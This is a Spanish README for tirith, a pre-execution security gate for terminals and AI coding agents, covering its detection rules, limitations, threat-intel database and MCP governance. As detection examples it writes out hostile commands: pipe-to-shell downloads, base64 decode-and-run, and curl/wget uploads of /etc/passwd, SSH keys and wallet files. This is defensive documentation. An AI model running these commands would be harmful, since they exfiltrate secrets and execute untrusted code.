No puedes. Tu terminal tampoco. Ambos caracteres `і` son cirílicos (U+0456), no la `i` latina. La segunda URL resuelve al servidor de un atacante. El script se ejecuta antes de que te des cuenta.

Los navegadores resolvieron esto hace años. Los terminales todavía renderizan Unicode, secuencias de escape ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar lo que hay dentro.

**Tirith monta guardia en la puerta.** Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, skills/configs de IA maliciosos y paquetes/dominios/IPs maliciosos conocidos desde una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a `$SHELL` si es necesario). El flag explícito `--shell` solo es necesario cuando quieres anular la detección.

Eso es todo para la cobertura de shell interactivo. Los comandos aceptados por ese shell se
verifican mientras el hook está cargado y saludable; el comportamiento exacto de bloqueo depende
del shell y del modo. Ejecuta `tirith doctor` después de la instalación y las actualizaciones, y
lee [enforcement by shell](#enforcement-by-shell) antes de tratar el hook como
un límite de autorización. Los comandos limpios permanecen silenciosos y normalmente toman la
ruta rápida.

También disponible a través de [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), y [más](#install).

---

## Míralo funcionar

**Ataque homográfico, bloqueado antes de la ejecución:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Advertencia se imprime en stderr. El comando aún se ejecuta.

**Cadena de decodificación-ejecución en Base64, bloqueada:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Cubre todos los flags de carga de curl/wget, variables de entorno (`$AWS_SECRET_ACCESS_KEY`) y sustitución de comandos.

**Archivo de skill malicioso, detectado en el escaneo:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Nada. Cero salida. Olvidas que tirith se está ejecutando.

---

## Qué detecta

**244 reglas de detección en 35 categorías.**

| Categoría | Qué detiene |
|----------|--------------|
| **Ataques homográficos** | Caracteres cirílicos/griegos similares en nombres de host, dominios punycode, etiquetas de script mixto, TLD similares, dominios confundibles, detección de confundibles a nivel de texto (alfanuméricos matemáticos, misma palabra con script mixto) |
| **Inyección en terminal** | Secuencias de escape ANSI, anulaciones bidi, caracteres de ancho cero, etiquetas unicode, operadores matemáticos invisibles, selectores de variación, rellenos Hangul |
| **Defensa contra esteganografía** | Codificación invisible con espacios en blanco (12 variantes de espacio Unicode), Separador de Vocal Mongol, caracteres Hangul Filler, sustitución alfanumérica matemática, defensas contra esteganografía de texto estilo st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, además de muchas rutas de envoltura, decodificación e indirección |
| **Decodificación-ejecución Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadenas de decodificación a través de envolturas sudo/env |
| **Exfiltración de datos** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, cargas de variables de entorno (`$AWS_SECRET_ACCESS_KEY`), exfiltración por sustitución de comandos |
| **Escaneo de archivos de código** | Cargas útiles ofuscadas (`eval(atob(...))`), ejecución dinámica de código (`exec(b64decode(...))`), exfiltración de secretos mediante `fetch`/`requests.post` en archivos JS/Python |
| **Detección de credenciales** | Claves AWS, PATs de GitHub, tokens de Stripe/Slack/SendGrid/Anthropic/GCP/npm, bloques de claves privadas, además de detección genérica de secretos basada en entropía |
| **Comportamiento post-compromiso** | Extracción de memoria de procesos (`/proc/*/mem`), escalada de privilegios remota en Docker, barridos de archivos de credenciales, calibrado contra herramientas post-compromiso de TeamPCP y UNC1069 |
| **Seguridad de comandos** | Sobrescritura de dotfiles, extracción de archivos a rutas sensibles, acceso a endpoints de metadatos en la nube, acceso a redes privadas |
| **Transporte inseguro** | HTTP plano canalizado a shell, `curl -k`, verificación TLS deshabilitada, URLs acortadas que ocultan destinos |
| **Entorno** | Secuestro de proxy, exportaciones de variables de entorno sensibles, inyección de código vía env, secuestro de intérprete, inyección de shell vía env |
| **Seguridad de archivos de configuración** | Inyección de configuración, indicadores sospechosos, unicode no ASCII/invisible en configuraciones, seguridad de servidores MCP (inseguro/no confiable/duplicado/permisivo) |
| **Amenazas del ecosistema** | Typosquats en git clone, registros Docker no confiables, instalaciones por URL de pip/npm, endpoints RPC de web3, vet-no-configurado |
| **Seguridad de comandos de instalación** | Repos APT añadidos desde una descarga canalizada, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificaciones de firma deshabilitadas), `kubectl apply -f` contra manifiestos remotos sin procesar/acortados, charts de Helm desde repos no confiables, módulos de Terraform desde fuentes remotas no confiables, `brew install`/`tap` desde URLs arbitrarias |
| **Análisis de rutas** | Rutas no ASCII, homoglifos en rutas, doble codificación |
| **Contenido renderizado** | Contenido oculto por CSS/color, atributos HTML ocultos, análisis de contenido de comentarios (inyección de prompt en Alto, comandos destructivos en Medio) |
| **Detección de cloaking** | Cloaking del lado del servidor (bot vs navegador), contenido oculto en el portapapeles, texto oculto en PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusiones de Windows Defender (`Add-MpPreference -Exclusion*`), descarga-ejecución en línea `iex (iwr ...)` |
| **Defensa de salida de terminal** | Escrituras al portapapeles OSC 52, prompts falsos, manipulación de hipervínculos y títulos OSC 8 / limpieza de pantalla, inyección de prompt dentro de la salida de comandos o herramientas MCP (escaneada tanto en bruto como desofuscada, por lo que también se detectan evasiones con caracteres invisibles, confundibles, espaciados, leetspeak y base64 / hex cortos), y exfiltración de datos de salida (URLs de baliza o directivas de "leer un secreto y luego enviarlo") |
| **Contexto operacional** | Comandos destructivos contra contextos de nube / k8s etiquetados como prod y hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sin un plan guardado coincidente, escalada sudo riesgosa, `docker run` privilegiado |
| **Estación de trabajo y persistencia** | Archivos de credenciales con permisos laxos y tokens en texto plano (`~/.ssh`, `~/.aws`, `.npmrc`), puntos de apoyo de persistencia (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` de git), orden de secuestro de PATH, procedencia de ejecutables, alias riesgosos, y ciclo de vida de variables de entorno sensibles |
| **Radio de impacto y correlación** | Eliminaciones que escapan del repositorio, eliminaciones masivas, ejecución de archivos descargados desde fuentes riesgosas, y cadenas de sesión como escritura de secreto y luego red o eliminación y luego `git push --force` |
| **Confianza, atestación y procedencia** | Discrepancia en tarjeta de comando firmada, toques de honeytoken canary, discrepancia de host de origen en pegado, denegaciones de política de origen del llamador (agente), deriva de lockfile MCP, y deriva de configuración de IA respecto a una instantánea conocida como segura |
| **Guarda de comandos Web3** | Escrituras on-chain desde comandos Cast / Forge / Hardhat / Solana / Anchor (Alto cuando el mismo comando también deshabilita un control de seguridad declarado), material de clave privada, keypair o mnemonic en la línea de comandos, y un endpoint RPC o firmante que la política `web3_guard` del operador no confía. Solo gramática y política: no se lee estado de cadena, no se simula ninguna transacción, y no se puntúa ninguna dirección |
| **Exfiltración de carteras** | Material revisado de cartera, keystore, cartera de navegador y keypair de Solana fluyendo hacia un sumidero remoto probado, incluyendo saltos de preparación por archivo, base64, hex, compresor y cifrador, y promoción de operandos `xargs` / `find -exec`. Una lectura solo de origen deliberadamente no es un hallazgo |
| **Envenenamiento de artefactos CI** | Un flujo de trabajo alcanzable por fork que sube un artefacto de compilación, consumido por un flujo de trabajo privilegiado `workflow_run` vinculado a la ejecución desencadenante que luego lo ejecuta, obtiene código fuente, muta el PATH, publica o despliega |

---

## Contra qué NO protege tirith

Tirith analiza la **estructura** de comandos, texto pegado y archivos antes
de que se ejecuten. Es una puerta de pre-ejecución, no una defensa en tiempo de
ejecución, y no cubre:

- **Sandboxing general en tiempo de ejecución:** los hooks de shell ordinarios y `tirith check` advierten
  o bloquean; no aíslan un comando después del lanzamiento. Los caminos explícitos
  `capsule run --preset untrusted-project` y la aplicación de `pkg install`
  proporcionan contención fail-closed solo en hosts Linux x86_64 compatibles.
- **Monitoreo de red post-ejecución:** lo que un proceso hace en la red después del
  lanzamiento está fuera de alcance.
- **Detección general de malware / cargas útiles:** tirith no es un antivirus y no
  detona una carga útil. Analiza la estructura y puede coincidir con indicadores exactos
  y hashes de artefactos/archivos de la base de datos de amenazas firmada, pero una carga útil
  desconocida no se prueba benigna por la ausencia de una coincidencia. (`tirith run` verifica
  la estructura de un script descargado; sigue sin ser análisis dinámico de malware.)
- **Un atacante privilegiado root/admin:** cualquiera que ya sea root o admin puede eludir
  tirith trivialmente. Defiende contra entrada engañada, no contra un atacante que ya
  posee la máquina.
- **Anti-depuración / anti-manipulación:** tirith no resiste la ingeniería inversa
  ni protege su propio binario de un atacante local.
- **Análisis on-chain:** la guarda Web3 lee la gramática de comandos. No lee
  estado de cadena, simula una transacción, resuelve ENS, puntúa una dirección, audita un
  contrato, ni vigila un mempool.
- **Un firewall de artefactos npm:** tirith analiza la gramática de comandos npm y hechos
  de identidad del registro, y puede preguntar al propio npm del proyecto por su firma y
  estado de procedencia. No descarga, extrae, pone en cuarentena ni vincula los
  bytes del tarball que npm instala. El firewall de artefactos contenido y fijado por hash es
  solo para Python.
- **Forense o monitoreo de navegador:** `tirith browser audit` es una auditoría de integridad
  explícita, de una sola vez y de solo lectura de árboles de código fuente de extensiones. Nunca lee
  cookies, historial, contraseñas guardadas, almacenamiento, bases de datos de carteras ni `Local
  State`, nunca elimina ni pone en cuarentena nada, y no tiene daemon.
- **Compilaciones reproducibles:** un recibo `attest` registra lo que contenían dos árboles
  en un momento dado. Tirith no ejecuta tu compilación y no puede afirmar que la salida provino
  del código fuente. Un recibo de despliegue es una medición puntual, no
  monitoreo continuo.

Consulta [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) para el modelo de amenazas completo y
los no-objetivos explícitos, y
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) para un
registro capacidad por capacidad de lo que tirith detecta, decide, aplica,
contiene y atestigua.

---

## Limitaciones conocidas

- **Fragilidad del hook de shell:** la protección depende de que un hook de shell permanezca instalado
  y activo. Los hooks pueden romperse o degradarse silenciosamente entre shells, versiones de shell,
  frameworks de prompt y herramientas de historial. Ejecuta `tirith doctor` para verificar el estado en vivo
  y vigilar la degradación a solo-advertencia.
- **Almacenamiento temporal lleno o de solo lectura:** zsh y fish capturan la entrada a través de un
  archivo temporal antes de invocar Tirith y fallan cerrado cuando ese archivo no puede
  crearse. Un `TMPDIR` lleno/de solo lectura puede por lo tanto rechazar cada comando, y
  `TIRITH=0` no puede recuperarse porque nunca se alcanza el binario. Sigue los
  pasos de recuperación en [solución de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Características limitadas por plataforma:** el modo daemon, `tirith run` y `tirith fetch`
  son superficies Unix. `tirith run --no-exec` sigue siendo un flujo de trabajo de inspección
  allí, pero la ejecución remota de scripts en vivo es solo para Linux y se rechaza antes de
  la descarga en cualquier otro host. `tirith setup` es multiplataforma, mientras que cada
  integración de host tiene su propio contrato de plataforma (por ejemplo Cline tiene envolturas
  POSIX y Windows; el hook de bloqueo de OpenHands es solo Unix).
- **Alcance de extracción de nombres de paquetes:** cubre ecosistemas de lenguajes (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), no gestores de
  paquetes de distribución (`apt`, `dnf`, `yum`, `pacman`).
- **Advertencias sobre agentes de IA:** la interceptación por hook de shell solo protege comandos que pasan
  por un shell interactivo con hook. Un agente que genera un shell no interactivo, llama a `exec`
  directamente, o se ejecuta sin el hook cargado no está cubierto
  por esa capa. El registro MCP es cooperativo a menos que las llamadas se enruten
  a través del gateway. Un hook pre-herramienta compatible puede retener automáticamente un
  comando del host, pero solo cuando ese host lo cargó y lo respetó; varios hosts
  fallan abierto cuando un proceso de hook da error. Verifica el host efectivo, no solo la
  presencia de un archivo de configuración.
- **Comportamiento de fallo del hook de host:** Grok Build, Cline y OpenHands permiten la
  herramienta cuando su proceso de hook falla o expira. El adaptador de Tirith deniega ante
  sus propios errores por defecto, pero no puede hacer que un host respete un proceso que no
  retornó. Vuelve a ejecutar la configuración si un intérprete fijado se mueve y prueba el host real
  después de cada actualización.
- **Prime Agent IPython es extracción a nivel de código fuente:** la guarda cubre escapes/magics de shell
  y formas comunes de `os`, `subprocess` y `pty.spawn`, pero no es
  un sandbox de tiempo de ejecución de Python. Una envoltura definida en una celda anterior,
  reflexión como `getattr`/`__import__`, o un paquete de terceros que
  genera un proceso puede escapar de lo que un lexer de código fuente puede probar.
- **DLP personalizado y salida de máquina:** los `dlp_custom_patterns` amplios pueden actualmente
  reescribir valores de cadena propiedad del protocolo en proyecciones JSON/MCP redactadas recursivamente,
  incluyendo identificadores generados o metadatos de recibos. Evita
  patrones que puedan coincidir con valores estructurales al consumir salida firmada o
  estable para máquinas; esto necesita redacción consciente de campos antes del lanzamiento.
- **Aprobación de instalación desatendida:** `tirith install --yes` se acepta como el
  canal `require_approval` desatendido de la puerta de tarea del gestor de paquetes. Es una
  bandera explícita del operador, no prueba de una confirmación humana en TTY. Usa una política de
  tarea de bloqueo donde la ejecución desatendida deba ser imposible.
- **Vinculación MCP interpretada:** la vinculación exacta de servidor interpretado hashea
  el árbol del repositorio bajo límites fijos en lugar de descubrir un cierre de dependencias
  verdadero, por lo que árboles grandes, enlaces simbólicos o archivos especiales pueden rechazar el lanzamiento. Se
  revalida antes del spawn pero no ejecuta entradas del intérprete desde descriptores revisados
  sellados; la mutación concurrente del mismo usuario sigue siendo una brecha de verificación-a-carga.
- **Cobertura de puerta de tareas:** la inferencia de efectos de tareas modela la gramática de shell Web3
  y nada más, por lo que casi todos los comandos SHELL ordinarios se reportan
  INCOMPLETE. `task_gate.mode: enforce` con `action_incomplete_analysis: block`
  rechaza esos en los cinco límites que envían una envoltura de shell, y no cambia
  nada en los cuatro límites de paquetes y escritura de configuración, que siempre se evalúan
  como completos. `warn` es el valor por defecto. La alternativa,
  `effects_denied_for_untrusted_sources`, deniega el efecto nombrado en cada llamada
  en cada límite poseído, incluyendo comandos que tú mismo escribiste, porque ninguna
  fuente en esos límites se trata jamás como confiable.
- **La contención es Linux x86_64:** `tirith capsule run --preset
  untrusted-project` y la aplicación de `tirith pkg install` son aplicables solo en
  Linux x86_64 con una ABI de Landlock utilizable. Cualquier otro host rechaza antes de
  que se copie o genere algo, sin respaldo degradado. La lista de permitidos de dominios
  no la ofrece ningún backend.
- **Brecha de exfiltración en shell anidado:** una lectura sensible dentro del cuerpo de un shell anidado
  cuyo sumidero está fuera de él, como `bash -c "cat <wallet>" | curl -d @- <url>`,
  no se correlaciona hoy. La misma cadena totalmente dentro o totalmente fuera del
  cuerpo `-c` sí se detecta.
- **Grados de evidencia de ejecución:** un lanzamiento en Linux se confirma solo después de que su
  transición `exec` detenida, actualización de estado duradera, reanudación autorizada y
  prueba del lanzador de terminal se completen todas. Una llamada al gateway se confirma solo por un
  resultado correlacionado exacto. Las observaciones de shell y las llamadas al gateway reenviadas que
  expiran o se cancelan permanecen como evidencia no resuelta conservadora, nunca
  ejecución confirmada. Los recibos de shell estrictos están disponibles para bash, zsh y fish
  interactivos; PowerShell sigue siendo solo preflight. El comportamiento del lanzador nativo de Linux
  debe ser verificado por CI de Linux o un host Linux nativo; ni la cobertura portátil
  de código fuente/unitaria ni una compilación de macOS pueden sustituirlo.
- **Brechas de cobertura Web3:** `forge create` aún no está modelado en superficies de motor;
  varios campos declarados de `web3_guard` se analizan pero no se aplican; y
  las vinculaciones Web3 de tarjetas de comando de esquema 2 aún no tienen una ruta de autoría por CLI
  ni de consumo por motor en vivo. Trata estos como brechas conocidas, no como autorización silenciosa.

---

## Inteligencia de amenazas

Tirith incluye una base de datos de amenazas local firmada para reputación de paquetes, nombres de host e IP. Cuando un hook de shell o `tirith check` ve una instalación de paquete o una referencia de infraestructura sospechosa, compara esa entrada contra la base de datos antes de que el comando se ejecute, en lugar de depender solo de heurísticas estáticas.

**BD firmada** (construida por CI, verificada en la descarga y la carga):

- Paquetes maliciosos conocidos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) y [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestructura IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados y líneas base de paquetes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo de [Vulnerabilidades Explotadas Conocidas de CISA](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para correlación de avisos en tiempo de ejecución

ThreatDB v2 añade valores SHA-256 exactos de artefactos, hashes de archivos instalados,
URLs maliciosas, pertenencia a campañas y etiquetas de comportamiento. El índice firmado,
el actualizador, el compilador y el cargador soportan v1 y v2 durante la transición por etapas,
rechazan la reversión de secuencia, publican transaccionalmente y retienen una
base de datos firmada de último-bueno-conocido cuando una actualización está incompleta o es inválida. La
fuente DigitalSide está implementada pero intencionalmente inactiva hasta que su
frescura y contrato operativo sean aprobados.

**Feeds suplementarios opcionales** (superposición local del usuario):

- [URLhaus](https://urlhaus.abuse.ch/) y [ThreatFox](https://threatfox.abuse.ch/) mediante una clave de autenticación de abuse.ch
- Listas de bloqueo de [PhishTank](https://phishtank.org/) (Cisco Talos) y [Phishing Army](https://phishing.army/)
- Lista de nodos de salida de Tor de [Tor Project](https://www.torproject.org/)

**Enriquecimiento en vivo opcional** durante `tirith check` y el modo daemon:

- Consultas de avisos de [OSV.dev](https://osv.dev/) (Google OSS)
- Señales de salud de paquetes de [deps.dev](https://deps.dev/) (Google OSS) y datos de mantenedores de [ecosyste.ms](https://ecosyste.ms/)
- Reputación de URLs de [Google Safe Browsing](https://safebrowsing.google.com/) con tu propia clave de API```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**Offline por defecto.** Sin flags, cada señal es local, sin llamada de red: (1) **nombre vs. paquetes populares**: conocido-popular, desconocido, o un casi-acierto a un nombre popular con una edición de distancia (la clásica forma de typosquat/slopsquat), desde el conjunto `popular` de la base de datos local de amenazas; (2) **typosquat malicioso conocido**: una coincidencia exacta en el índice `typosquat` de la base de datos de amenazas; (3) **scripts de instalación / ciclo de vida** y (4) **blobs binarios empaquetados**, detectados solo cuando el contenido del paquete está disponible localmente (bajo `node_modules` / `site-packages`, o vía `--path`). tirith **nunca descarga** el paquete.

**`--online` añade procedencia del registro.** Consulta el registro del paquete (npm, PyPI, o crates.io) para seis factores más en el *mismo* modelo de suma de factores: antigüedad del paquete/versión, un paquete establecido sin propietarios, un pico de versión anormal, descargas muy bajas, un repositorio de origen ausente, y estado yanked/deprecated. Es la única ruta en la que `package risk` en sí mismo alcanza la red; `tirith check` y el modo daemon tienen una ruta de enriquecimiento en tiempo de ejecución separada y controlada por políticas. `--offline` / `TIRITH_OFFLINE` fuerzan este scorer a estar offline independientemente. Los fallos recaen en la puntuación offline con un honesto `api signals: unavailable`, y las respuestas se almacenan en caché con un TTL para que las ejecuciones repetidas no martillen los registros.

La puntuación es consultiva e independiente: `package risk` no es una regla de detección y no cambia ningún veredicto, código de salida, o registro de auditoría.

### Escaneo de ecosistema y riesgo de dependencias

`tirith ecosystem scan [path]` es el compañero a nivel de directorio de `package risk`. Recorre un proyecto, descubre cada manifiesto de dependencias que entiende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), y puntúa **cada dependencia declarada** con el mismo motor determinista de factores `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

La inspección cubre la estructura e identidad del wheel, la integridad del RECORD y la propiedad de archivos, los hooks de inicio de Python, las extensiones nativas ELF/Mach-O/PE, las aristas de ejecución y las divisiones loader/payload entre distribuciones. `pkg graph`, `pkg diff`, `pkg attest` y `pkg receipt` exponen la procedencia correspondiente y la evidencia de recibo.

La ruta de aplicación admite **pip solo en x86_64 Linux** y requiere la autoridad nativa documentada, un directorio destino recién dedicado y un `uv` nativo completamente estático inscrito. Toda plataforma no compatible falla de forma cerrada antes de que pip se inicie; nunca recurre a una instalación ordinaria. npm y Cargo siguen siendo superficies de evidencia no aplicables. Consulte las [notas de la versión 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) y la [referencia de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Familias de ataques para las que está construido tirith** (ilustrativo, no una afirmación de detección por el código actual):

| Incidente | Año | Forma del ataque |
|---|---|---|
| [Gusano npm Shai-Hulud](https://socket.dev/blog/shai-hulud-worm) | 2025 | Malware de paquete autorreplicante; exfiltró tokens de GitHub y claves de AWS de más de 180 paquetes, publicó hallazgos en repositorios públicos `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 hasta la actualidad | Los atacantes registran nombres de paquetes alucinados por LLM en npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) encontró que el 58% de los nombres alucinados se repiten entre ejecuciones |
| Herramientas de Team PCP / UNC1069 | en curso | Barridos de credenciales tras el compromiso, raspado de `/proc/*/mem`, escalada de privilegios en Docker |
| [Sabotaje de colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Autosabotaje del autor de paquetes ampliamente usados |
| [Compromiso de event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferencia de propiedad al atacante; el payload apuntaba a carteras de Bitcoin |

La extracción de nombres de paquetes actualmente cubre ecosistemas de lenguajes (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), no gestores de paquetes a nivel de distribución (`apt` / `dnf` / `yum` / `pacman`). Por eso xz-utils, que entró a través de tarballs de distribuciones Linux, no está en la tabla a pesar de ser un incidente destacado.

---

## Seguridad de agentes de IA

Tirith añade varias capas de protección independientes en torno a los agentes de codificación de IA: escaneo de configuración, herramientas MCP cooperativas, una puerta de enlace MCP, hooks de shell interactivo y hooks nativos del host previos a la herramienta donde el host expone un contrato de bloqueo documentado. La cobertura depende de qué capa carga realmente el host.

### Hooks de shell, intercepción pasiva de comandos

Cuando un agente de IA ejecuta a través de un shell interactivo con hook (Claude Code, Codex, Cursor, etc.), el hook de shell de tirith comprueba ese comando interactivo antes de que el shell lo acepte. Esto no cubre un shell no interactivo, un `exec` directo ni un proceso de agente que nunca cargó el hook:

- **Bloquea comandos peligrosos**: URLs homógrafas, pipe-to-shell, descargas inseguras
- **Bloquea pegado malicioso**: inyección ANSI, ataques bidi, multilínea oculta en contenido pegado
- **Puerta interactiva independiente del agente**: no se necesita integración específica del agente cuando ese agente realmente usa el shell interactivo protegido
- **Cero modificación del agente**: el agente no sabe que tirith existe hasta que se bloquea un comando

Use `tirith setup <tool>` para configuración con un solo comando (consulte [Integraciones de agentes de IA](#ai-agent-integrations)).

### Servidor MCP (6 herramientas multiplataforma; 7 en Unix)

Ejecute `tirith mcp-server` o use `tirith setup <tool> --with-mcp` para registrar tirith como servidor MCP. Los agentes de IA pueden llamar a estas herramientas antes de actuar:

| Herramienta | Qué hace |
|------|-------------|
| `tirith_check_command` | Analiza comandos de shell en busca de pipe-to-shell, URLs homógrafas, inyección de entorno |
| `tirith_check_url` | Puntúa URLs por ataques homógrafos, trucos de punycode, URLs acortadas, IPs sin procesar |
| `tirith_check_paste` | Comprueba el contenido pegado en busca de escapes ANSI, controles bidi, caracteres de ancho cero |
| `tirith_scan_file` | Escanea un archivo en busca de contenido oculto, Unicode invisible, envenenamiento de configuración |
| `tirith_scan_directory` | Escaneo recursivo con priorización de archivos de configuración de IA |
| `tirith_verify_mcp_config` | Valida configuraciones MCP en busca de servidores inseguros, inyección de shell en args, herramientas comodín |
| `tirith_fetch_cloaking` | Detecta cloaking del lado del servidor (contenido diferente para bots frente a navegadores) |

El `tools/list` predeterminado es un contrato de compatibilidad congelado, porque los clientes lo almacenan en caché y una herramienta que aparece sin anunciarse cambia lo que un agente cree que puede llamar. Por lo tanto, una herramienta de vista previa, `tirith_check_task`, **no se anuncia de forma predeterminada**: ejecute `TIRITH_MCP_PREVIEW=1 tirith mcp-server` para anunciarla, y sin esa opción de adhesión un cliente que la llame por nombre es rechazado por nombre. Consulte [docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### Gobernanza del servidor MCP

`tirith mcp lock` captura cada servidor MCP que declara un repositorio, a través de `.mcp.json` / `mcp.json` / `mcp_settings.json` y las variantes de configuración de IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), en un lockfile determinista en `.tirith/mcp.lock`. Cada servidor se registra con su transporte (una URL remota, o un comando local + args), las herramientas declaradas, metadatos de cobertura y un hash de contenido; los servidores se ordenan por nombre/fuente para que el lockfile sea fácil de comparar. Las declaraciones ambiguas o con credenciales se rechazan en lugar de copiarse al control de código fuente. Los valores de entorno y el userinfo de URL se representan solo mediante marcadores de presencia fijos, nunca mediante valores sin procesar ni hashes deterministas: añadir/eliminar una variable o userinfo sigue generando deriva, mientras que la rotación de secretos intencionadamente no. Los lockfiles V7 requieren un re-lock explícito para migrar a este modelo de privacidad v8. El descubrimiento es solo local al repositorio y no toca la red. (`tirith mcp` es un grupo de comandos separado de `tirith mcp-server`, que ejecuta tirith *como* servidor MCP.)

`tirith mcp verify` es el compañero de control: reconstruye el inventario actual contra el lockfile confirmado y sale con 1 ante deriva o cobertura de configuración incompleta/rechazada (0 coincidencia, 2 en errores de uso como un lockfile ausente). `tirith mcp diff` informa de la misma deriva de forma informativa (siempre sale con 0, 2 solo en errores de uso, para que un consumidor pueda distinguir "sin deriva" de "no se pudo comprobar"). La deriva también aparece a través de `tirith scan` como `mcp_server_drift` (Medium o High), de modo que un hook de pre-commit o CI detecta un cambio en la superficie MCP igual que detecta una acción no fijada. `verify` / `diff` nunca imprimen valores de entorno ni userinfos de URL, solo los nombres de lo que cambió.

Dos campos de política gobiernan lo que se acepta. Ambos están indexados por una identidad opaca `mcp:v1:...` que vincula la ruta de origen, el nombre del servidor y el transporte: `scan.trusted_mcp_servers` suprime los hallazgos de configuración y la deriva de ese servidor exacto, mientras que `scan.mcp_allowed_tools` declara las herramientas exactas que puede exponer. Los nombres simples intencionadamente no coinciden con nada, de modo que un servidor con el mismo nombre en otra configuración no puede heredar la confianza. Una lista de permitidos explícita de herramientas también requiere un conjunto de descriptores en vivo aprobado por el operador y comprueba tanto las declaraciones estáticas como los nombres de descriptores en vivo. Ejecute `tirith mcp policy init` para generar las claves exactas en `.tirith/mcp-policy.yaml.example`, luego use el flujo `--mcp-server-identity ... --approve-descriptors` de la puerta de enlace para capturar una línea base inspeccionada de `tools/list` de forma atómica. Cada entrada generada está comentada, de modo que importarla nunca amplía la confianza de forma silenciosa.

### Escaneo de archivos de configuración

`tirith scan` detecta inyección de prompts y payloads ocultos en archivos de configuración de IA. Prioriza y escanea más de 50 patrones conocidos de archivos de configuración de IA:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- Configuraciones, agentes, skills, plugins, reglas de `.claude/`
- Configuraciones de `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**Lo que detecta en las configuraciones:**

- **Inyección de prompts** (disparadores de activación de skills, intentos de elusión de permisos, descarte de seguridad, reasignación de identidad, instrucciones de anulación entre herramientas). Cada archivo se escanea tanto en bruto como desofuscado (caracteres invisibles, confundibles, espaciado entre caracteres, leetspeak, base64 / hex cortos), de modo que una semilla oculta tras una codificación igualmente se activa
- **Unicode invisible**: caracteres de ancho cero (incluido el separador de vocal mongol), controles bidi, guiones suaves, etiquetas Unicode, rellenos Hangul, codificación de espacios en blanco invisibles, confundibles alfanuméricos matemáticos
- **Problemas de configuración MCP**: conexiones HTTP inseguras, servidores con IP sin procesar, metacaracteres de shell en args, nombres de servidor duplicados, acceso a herramientas comodín

### Escaneo de cadena de suministro de CI / repositorio

`tirith scan` también inspecciona los archivos que un repositorio incluye para describir su propio pipeline de compilación y despliegue. Detecta el *patrón* peligroso, no la herramienta: una acción fijada por SHA, una imagen fijada por digest, un módulo Terraform local y un `package.json` normal permanecen limpios.

**Lo que detecta en archivos de CI / infraestructura:**

